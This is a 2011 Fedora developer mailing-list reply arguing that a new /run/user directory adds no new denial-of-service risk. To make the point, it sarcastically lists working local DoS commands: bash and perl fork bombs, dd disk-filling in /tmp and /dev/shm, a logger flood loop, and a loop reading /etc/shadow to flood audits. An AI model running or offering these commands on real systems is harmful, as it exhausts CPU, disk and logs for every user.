informations about boot sequence (Re: F15 - mysql start problem)
Stephen John Smoogen
smooge at gmail.com
Mon May 9 23:23:47 UTC 2011
2011/5/9 Michał Piotrowski <mkkp4x4 at gmail.com>
>
> 2011/5/10 Lennart Poettering <mzerqung at 0pointer.de>:
> > On Mon, 09.05.11 23:54, Michał Piotrowski (mkkp4x4 at gmail.com) wrote:
> >> No, only for /run/user/ - because there is a simple workaround that
> >> can be used on affected systems if the administrator considers his
> >> system as vulnerable for malicious users.
> >
> > Again, we had /dev/shm for years on Linux. This weakness in the security
> > model is not news, not at all.
>
> Yes, but /run/user is a new thing and it gives wonderful opportunity
> to DoS services for all system users. Thats my POV. And my POV is that
> it should be documented - users should be aware about this. Also FPL
> agreed with my arguments.
>
> That's all. If you do not agree with that, then I'm giving up :)
>
Let's make this simple:
FAQ: How can I make my system unusable? How can I create a denial of service?
Answer: On default systems there are multiple ways to do this, please
choose one or more of the following:
a) Denial of CPU. The Fork Bomb is the standard way to kill a system:
In a shell type the following:
:(){ :|: & };:
perl -e 'fork while fork'
b) Denial of Filesystem. There are several ways of doing this. Usually
it can be done quickly by the following:
dd if=/dev/zero of=<filename>
is a standard, but easily fixed by deleting one file. Adding some
flare you can great randomly created files in multiple places.
Places of entry where a system can cause problems are the following:
/tmp/
/var/tmp/
/dev/shmem/
/run/file/
c) Denial of Logs
while true; do
logger $( dd if=/dev/urandom count=1 bs=128 2> /dev/null |tr -dC
'[:print:]' )
done
d) Denial of service via audits
while true; do
cat /etc/shadow
done
Doing a, b, c, and d at the same time is always fun for the family.
There are many other ways you as a user can cause problems to your own
system...
--
Stephen J Smoogen.
"The core skill of innovators is error recovery, not failure avoidance."
Randy Nelson, President of Pixar University.
"Let us be kind, one to another, for most of us are fighting a hard
battle." -- Ian MacLaren
More information about the devel
mailing list